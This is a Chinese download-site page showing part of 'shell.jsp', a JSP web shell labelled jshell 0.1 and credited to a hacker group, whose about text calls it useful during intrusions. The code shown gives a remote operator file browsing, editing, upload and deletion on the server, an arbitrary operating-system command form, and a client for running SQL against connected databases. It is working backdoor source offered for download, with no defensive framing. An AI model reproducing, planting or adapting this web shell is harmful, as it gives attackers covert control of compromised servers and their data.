⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 shell.jsp

📁 一般性的内容,可以生成和修改还在有其他的好友添加等等
💻 JSP
📖 第 1 页 / 共 4 页
字号:
<%
//=======================================================================================
// end of printing the system info table
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	} else if (action.equals("filesystem")) {
		String curPath = "";
		String result = "";
		String fsAction = "";
		
		if (request.getParameter("curPath") == null) {
			curPath = request.getRealPath(request.getServletPath());
			curPath = pathConvert((new File(curPath)).getParent());
		} else {
			curPath = Unicode2GB((String)request.getParameter("curPath"));
		}
		
		if (request.getParameter("fsAction") == null) {
			fsAction = "list";
		} else {
			fsAction = (String)request.getParameter("fsAction");
		}
		
		if (fsAction.equals("list"))
			result = listFiles(curPath, request.getRequestURI() + "?action=" + action);
		else if (fsAction.equals("browse")) {
			result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action);
			result += browseFile(curPath);
		}
		else if (fsAction.equals("open"))
			result = openFile(curPath, request.getRequestURI() + "?action=" + action);
		else if (fsAction.equals("save")) {
			if (request.getParameter("fileContent") == null) {
				result = "<font color=\"red\">页面导航错误</font>";
			} else {
				String fileContent = Unicode2GB((String)request.getParameter("fileContent"));
				result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent);
			}
		} else if (fsAction.equals("createFolder")) {
			if (request.getParameter("folderName") == null) {
				result = "<font color=\"red\">目录名不能为空</font>";
			} else {
				String folderName = Unicode2GB(request.getParameter("folderName").trim());
				if (folderName.equals("")) {
					result = "<font color=\"red\">目录名不能为空</font>"; 
				} else {
					result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName);
				}
			}
		} else if (fsAction.equals("createFile")) {
			if (request.getParameter("fileName") == null) {
				result = "<font color=\"red\">文件名不能为空</font>";
			} else {
				String fileName = Unicode2GB(request.getParameter("fileName").trim());
				if (fileName.equals("")) {
					result = "<font color=\"red\">文件名不能为空</font>";
				} else {
					result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName);
				}
			}
		} else if (fsAction.equals("deleteFile")) {
			if (request.getParameter("filesDelete") == null) {
				result = "<font color=\"red\">没有选择要删除的文件</font>";
			} else {
				String[] files2Delete = (String[])request.getParameterValues("filesDelete");
				if (files2Delete.length == 0) {
					result = "<font color=\"red\">没有选择要删除的文件</font>";
				} else {
					for (int n = 0; n < files2Delete.length; n ++) {
						files2Delete[n] = Unicode2GB(files2Delete[n]);
					}
					result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete);
				}
			}
		} else if (fsAction.equals("saveAs")) {
			if (request.getParameter("fileContent") == null) {
				result = "<font color=\"red\">页面导航错误</font>";
			} else {
				String fileContent = Unicode2GB(request.getParameter("fileContent"));
				result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent);
			}
		} else if (fsAction.equals("upload")) {
			result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action);
		} else if (fsAction.equals("copyto")) {
			if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) {
				result = "<font color=\"red\">没有选择要复制的文件</font>";
			} else {
				String[] files2Copy = request.getParameterValues("filesDelete");
				String dstPath = request.getParameter("dstPath").trim();
				if (files2Copy.length == 0) {
					result = "<font color=\"red\">没有选择要复制的文件</font>";
				} else if (dstPath.equals("")) {
					result = "<font color=\"red\">没有填写要复制到的目录路径</font>";
				} else {
					for (int i = 0; i < files2Copy.length; i ++)
						files2Copy[i] = Unicode2GB(files2Copy[i]);
					
					result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath));
				}
			}
		} else if (fsAction.equals("rename")) {
			if (request.getParameter("fileRename") == null) {
				result = "<font color=\"red\">页面导航错误</font>";
			} else {
				String file2Rename = request.getParameter("fileRename").trim();
				String newName = request.getParameter("newName").trim();
				if (file2Rename.equals("")) {
					result = "<font color=\"red\">没有选择要重命名的文件</font>";
				} else if (newName.equals("")) {
					result = "<font color=\"red\">没有填写新文件名</font>";
				} else {
					result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName));
				}			
			}
		}
%>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
	<form method="post" name="form2" action="<%= request.getRequestURI() + "?action=" + action%>">
	<tr bgcolor="#FFFFFF">
		<td align="center">地址&nbsp;&nbsp;<input type="text" size="80" name="curPath" class="textbox" value="<%=curPath%>" />
											 <input type="submit" value="转到" class="button" /></td>
	</tr>
	</form>
	<tr bgcolor="#FFFFFF">
		<td><%= result.trim().equals("")?"&nbsp;" : result%></td>
	</tr>
</table>
<%		
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	} else if (action.equals("command")) {
		String cmd = "";
		InputStream ins = null;
		String result = "";
		
		if (request.getParameter("command") != null) {		
			cmd = (String)request.getParameter("command");
			result = exeCmd(cmd);
		}
// print the command form
//========================================================================================
%>
<table border="0" width="600" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC" align="center">
	<form name="form2" method="post" action="<%=request.getRequestURI() + "?action=" + action%>">
	<tr bgcolor="#FFFFFF">
		<td align="center">执行命令</td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="center">
			<input type="text" class="textbox" size="80" name="command" value="<%=cmd%>" />
			<input type="submit" class="button" value="执行" />
		</td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="center">执行结果</td>
	</tr>
	</form>
</table>
<table align="center" width="600" border="0">
	<tr>
		<td><%=result == "" ? "&nbsp;" : result%></td>
	</tr>
</table>
<%
//=========================================================================================
// end of printing command form
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
	} else if (action.equals("database")) {
		String dbAction = "";
		String result = "";
		String dbType = "";
		String dbServer = "";
		String dbPort = "";
		String dbUsername = "";
		String dbPassword = "";
		String dbName = "";
		String dbResult = "";
		String sql = "";
		
		if (request.getParameter("dbAction") == null) {
			dbAction = "main";
		} else {
			dbAction = request.getParameter("dbAction").trim();
			if (dbAction.equals(""))
				dbAction = "main";
		}
		
		if (dbAction.equals("main")) {
			result = "&nbsp;";
		} else if (dbAction.equals("dbConnect")) {
			if (request.getParameter("dbType") == null ||
				request.getParameter("dbServer") == null ||
				request.getParameter("dbPort") == null ||
				request.getParameter("dbUsername") == null ||
				request.getParameter("dbPassword") == null ||
				request.getParameter("dbName") == null) {
				response.sendRedirect(request.getRequestURI() + "?action=" + action);
			} else {
				dbType = request.getParameter("dbType").trim();
				dbServer = request.getParameter("dbServer").trim();
				dbPort = request.getParameter("dbPort").trim();
				dbUsername = request.getParameter("dbUsername").trim();
				dbPassword = request.getParameter("dbPassword").trim();
				dbName = request.getParameter("dbName").trim();
				
				if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) {
					if (DBConnect(dbUsername, dbPassword)) {
						if (request.getParameter("sql") != null) {
							sql = request.getParameter("sql").trim();
							if (! sql.equals("")) {
								dbResult = DBExecute(sql);
							}
						}
						
						result =  "<script language=\"javascript\">\n";
						result += "<!--\n";
						result += "function exeSql() {\n";
						result += "    if (ltrim(document.dbInfo.sql.value) != \"\")\n";
						result += "        document.dbInfo.submit();";
						result += "}\n";
						result += "\n";
						result += "function resetIt() {\n";
						result += "	   document.dbInfo.sql.value = \"\";";
						result += "}\n";
						result += "//-->\n";
						result += "</script>\n";
						result += "sql语句<br/><textarea name=\"sql\" cols=\"70\" rows=\"6\">" + sql + "</textarea><br/><input type=\"submit\" class=\"button\" onclick=\"javascript:exeSql()\" value=\"执行\"/>&nbsp;<input type=\"reset\" class=\"button\" onclick=\"javascript:resetIt()\" value=\"清空\"/>\n";
						
						DBRelease();
					} else {
						result = "<font color=\"red\">数据库连接失败</font>";
					}
				} else {
					result = "<font color=\"red\">数据库连接驱动没有找到</font>";
				}				
			}
		}
%>
<script language="javascript">
<!--
<%
out.println("var selectedType = \"" + dbType + "\";");
%>
//-->
</script>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
	<form name="dbInfo" method="post" action="<%=request.getRequestURI() + "?action=" + action + "&dbAction=dbConnect"%>">
	<tr bgcolor="#FFFFFF">
		<td width="300" align="center">数据库连接类型</td>
		<td align="center">
			<select name="dbType">
				<option value="sqlserver">SQLServer数据库</option>
				<option value="mysql">MySql数据库</option>
				<option value="oracle">Oracle数据库</option>
				<option value="db2">DB2数据库</option>
				<option value="odbc">ODBC数据源</option>
			</select>
			<script language="javascript">
			for (var i = 0; i < document.dbInfo.dbType.options.length; i ++) {
				if (document.dbInfo.dbType.options[i].value == selectedType) {
					document.dbInfo.dbType.options[i].selected = true;
				}
			}
			</script>
		</td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="center">数据库服务器地址</td>
		<td align="center"><input type="text" name="dbServer" class="textbox" value="<%=dbServer%>" style="width:150px;" /></td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="center">数据库服务器端口</td>
		<td align="center"><input type="text" name="dbPort" class="textbox" value="<%=dbPort%>" style="width:150px;" /></td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="center">数据库用户名</td>
		<td align="center"><input type="text" name="dbUsername" class="textbox" value="<%=dbUsername%>" size="20" style="width:150px;" /></td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="center">数据库密码</td>
		<td align="center"><input type="password" name="dbPassword" class="textbox" value="<%=dbPassword%>" size="20" style="width:150px;" /></td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="center">数据库名</td>
		<td align="center"><input type="text" name="dbName" class="textbox" value="<%=dbName%>" size="20" style="width:150px;" /></td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="center" colspan="2"><input type="submit" value="连接" class="button" />&nbsp;<input type="reset" value="重置" class="button" /></td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="center" colspan="2"><%=result%></td>
	</tr>
	</form>
</table>
<table align="center" width="100%" border="0">
	<tr>
		<td align="center">
			<%=dbResult%>
		</td>
	</tr>
</table>
<%		

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////		
	} else if (action.equals("config")) {
		String cfAction = "";
		int i;
		
		if (request.getParameter("cfAction") == null) {

			cfAction = "main";
		} else {
			cfAction = request.getParameter("cfAction").trim();
			if (cfAction.equals(""))
				cfAction = "main";
		}
		
		if (cfAction.equals("main")) {
// start of config form
//==========================================================================================
%>
<script language="javascript">
<!--
function delFileType() {
	document.config.newType.value = document.config.textFileTypes[document.config.textFileTypes.selectedIndex].value;
	document.config.textFileTypes.options.remove(document.config.textFileTypes.selectedIndex);
}

function addFileType() {
	if (document.config.newType.value != "") {
		var oOption = document.createElement("OPTION");
		document.config.textFileTypes.options.add(oOption);
		oOption.value = document.config.newType.value;
		oOption.innerHTML = document.config.newType.value;
	}
}

function selectAllTypes() {
	for (var i = 0; i < document.config.textFileTypes.options.length; i ++) {
		document.config.textFileTypes.options[i].selected = true;
	}
}
//-->
</script>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
	<form name="config" method="post" action="<%=request.getRequestURI() + "?action=config&cfAction=save"%>" onSubmit="javascript:selectAllTypes()">
	<tr bgcolor="#FFFFFF">
		<td align="center" width="200">密码</td>
		<td><input type="text" size="30" name="password" class="textbox" value="<%=_password%>" /></td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="center">系统编码</td>
		<td><input type="text" size="30" name="encode" value="<%=_encodeType%>" class="textbox" /></td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="center">Session超时时间</td>
		<td><input type="text" size="5" name="sessionTime" class="textbox" value="<%=_sessionOutTime%>" /></td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="center">可编辑文件类型</td>
		<td>
			<table border="0" width="190" cellpadding="0" cellspacing="0">
				<tr>
					<td>
						<input type="text" size="11" class="textbox" name="newType" />
					</td>
					<td align="center">
						<input type="button" onClick="javascript:delFileType()" value="<<" class="button" />
						<p></p>
						<input type="button" value=">>" onClick="javascript:addFileType()" class="button" />
					</td>
					<td align="right">	
						<select name="textFileTypes" size="4" style="width: 87px" multiple="true">  
<%
		for (i = 0; i < _textFileTypes.length; i ++) {
%>
							<option value="<%=_textFileTypes[i]%>"><%=_textFileTypes[i]%></option>
<%
 		}
%>
						</select>
					</td>
				</tr>
			</table>
		</td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="center" colspan="2"><input type="submit" value="保存" class="button" /></td>
	</tr>
	</form>
</table>
<%
		} else if (cfAction.equals("save")) {
			if (request.getParameter("password") == null || 
				request.getParameter("encode") == null || 
				request.getParameter("sessionTime") == null ||
				request.getParameterValues("textFileTypes") == null) {
				response.sendRedirect(request.getRequestURI());
			}
			
			String result = "";
			
			String newPassword = request.getParameter("password").trim();
			String newEncodeType = request.getParameter("encode").trim();
			String newSessionTime = request.getParameter("sessionTime").trim();
			String[] newTextFileTypes = request.getParameterValues("textFileTypes");
			String jshellPath = request.getRealPath(request.getServletPath());
			
			try {
				JshellConfig jconfig = new JshellConfig(jshellPath);
				jconfig.setPassword(newPassword);
				jconfig.setEncodeType(newEncodeType);
				jconfig.setSessionTime(newSessionTime);
				jconfig.setTextFileTypes(newTextFileTypes);
				jconfig.save();
				result += "设置保存成功,正在返回,请稍候……";
				result += "<meta http-equiv=\"refresh\" content=\"2;url=" + request.getRequestURI() + "?action=" + request.getParameter("action") + "\">";
			} catch (JshellConfigException e) {
				result = "<font color=\"red\">" + e.getMessage() + "</font>"; 
			}

%>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
	<tr bgcolor="#FFFFFF">
		<td><%=result == "" ? "&nbsp;" : result%></td>
	</tr>
</table>
<%
		}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//==========================================================================================
// end of config form
	} else if (action.equals("about")) {
// start of about
//==========================================================================================
%>
<table border="0" align="center" width="600" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
	<tr bgcolor="#FFFFFF">
		<td align="center">关于 jshell ver 0.1</td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td>&nbsp;&nbsp;&nbsp;&nbsp;增加了显示alxea排名的功能,这对于入侵中也比较方便些,版权还是归作者的.</td>
	</tr>
	<tr bgcolor="#FFFFFF">
		<td align="right">hack520 by <a href="mailto:hack520@77169.org">hack520</a> and welcome to <a href="http://www.77169.com" target="_blank">华夏黑客同盟</a></td>
	</tr>
</table>
<%	
//==========================================================================================
	}
}
%>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -